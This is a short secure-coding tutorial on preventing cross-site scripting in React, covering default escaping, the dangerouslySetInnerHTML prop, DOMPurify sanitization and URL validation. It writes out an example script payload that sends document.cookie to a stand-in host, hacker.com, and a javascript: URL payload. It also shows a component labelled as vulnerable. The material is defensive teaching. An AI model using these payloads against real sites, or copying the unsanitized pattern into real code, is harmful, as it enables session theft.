Preventing XSS in Modern React Apps
The Default Armor of React
Cross-Site Scripting (XSS) is a devastating vulnerability where a hacker injects malicious JavaScript into your webpage. When a victim views the page, the script executes, stealing their authentication cookies or session tokens. If you are using plain HTML and JavaScript (e.g., document.getElementById("post").innerHTML = userText;), you are highly vulnerable.
React, by default, is a fortress. If a malicious user submits a blog comment containing <script>fetch('http://hacker.com/?cookie='+document.cookie)</script>, and you render it using standard React interpolation (<div>{comment}</div>), React automatically escapes it. It converts the angle brackets into string literals (<script>). The browser renders the exact text on the screen, but completely refuses to execute it as code.
The Achilles Heel: dangerouslySetInnerHTML
React's armor has an intentional hole. If you are building a Markdown editor, a Rich Text editor, or pulling pre-formatted HTML from a Headless CMS (like Contentful or WordPress), you need the browser to render the actual HTML tags, not just string text.
To do this, React forces you to use a terrifyingly named prop: dangerouslySetInnerHTML.
// WARNING: THIS IS HIGHLY VULNERABLE TO XSS!
function BlogPost({ rawHtmlFromDatabase }) {
return <div dangerouslySetInnerHTML={{ __html: rawHtmlFromDatabase }} />;
}
If you use this prop with user-supplied data, you have completely bypassed React's security. You must manually sanitize the HTML before passing it in.
The Shield: DOMPurify
You cannot write a regex to sanitize HTML yourself. Hackers are too clever; they will hide executable JavaScript inside SVG attributes or malformed image tags. You must use a battle-tested library like DOMPurify.
import DOMPurify from 'dompurify';
function SafeBlogPost({ rawHtmlFromDatabase }) {
// DOMPurify strips out all <script> tags and dangerous attributes
const cleanHtml = DOMPurify.sanitize(rawHtmlFromDatabase);
return <div dangerouslySetInnerHTML={{ __html: cleanHtml }} />;
}
The Sneaky Vector: href Attributes
Even if you avoid dangerouslySetInnerHTML, React is still vulnerable to malicious URLs. If you allow a user to enter their personal website link, and you render it as <a href={userLink}>My Website</a>, the hacker can enter javascript:alert(document.cookie) as their URL. When the victim clicks the link, the JavaScript executes. Always validate that user-provided URLs start strictly with http:// or https:// before rendering them in an anchor tag.